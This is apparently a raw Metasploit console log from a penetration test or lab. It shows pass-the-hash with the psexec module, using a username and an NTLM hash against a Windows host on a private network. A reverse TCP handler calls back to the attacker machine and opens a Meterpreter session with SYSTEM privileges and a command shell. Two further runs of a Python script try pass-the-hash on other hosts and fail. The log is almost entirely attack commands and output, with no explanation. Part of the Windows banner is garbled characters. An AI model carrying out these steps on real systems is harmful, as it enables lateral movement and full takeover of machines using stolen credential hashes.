msf5 > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address rangeor CIDR identifier RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as
Exploit target:
Id Name -- ---- 0 Automatic
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.3.123 rhosts => 192.168.3.123 msf5 exploit(windows/smb/psexec) > set smbuser L smbuser => L msf5 exploit(windows/smb/psexec) > set smbpass 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4 smbpass => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4 msf5 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.3.121:4444 [*] 192.168.3.123:445 - Connecting to the server... [*] 192.168.3.123:445 - Authenticating to 192.168.3.123:445as user 'L'... [*] 192.168.3.123:445 - Selecting PowerShell target [*] 192.168.3.123:445 - Executing the payload... [+] 192.168.3.123:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (179779bytes) to 192.168.3.123 [*] Meterpreter session 1 opened (192.168.3.121:4444 -> 192.168.3.123:1264) at 2019-05-14 09:56:43 -0400
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > shell Process 4608 created. Channel 1 created. Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
E:\python2 run.py [+] Finding open SMB ports.... [+] Hash detected, using pass-the-hash to authentiate [!] Authentication error occured [!] SMB SessionError: STATUS_ACCOUNT_RESTRICTION(Indicates a referenced user name and authentication information are val id, but some user account restriction has prevented successful authentication (such as time-of-day restrictions).) [!] Authentication error on 192.168.43.145
E:\python2 run.py [+] Finding open SMB ports.... [!] Authentication error occured [!] The NETBIOS connection with the remote host timed out. [!] Authentication error on 192.168.3.119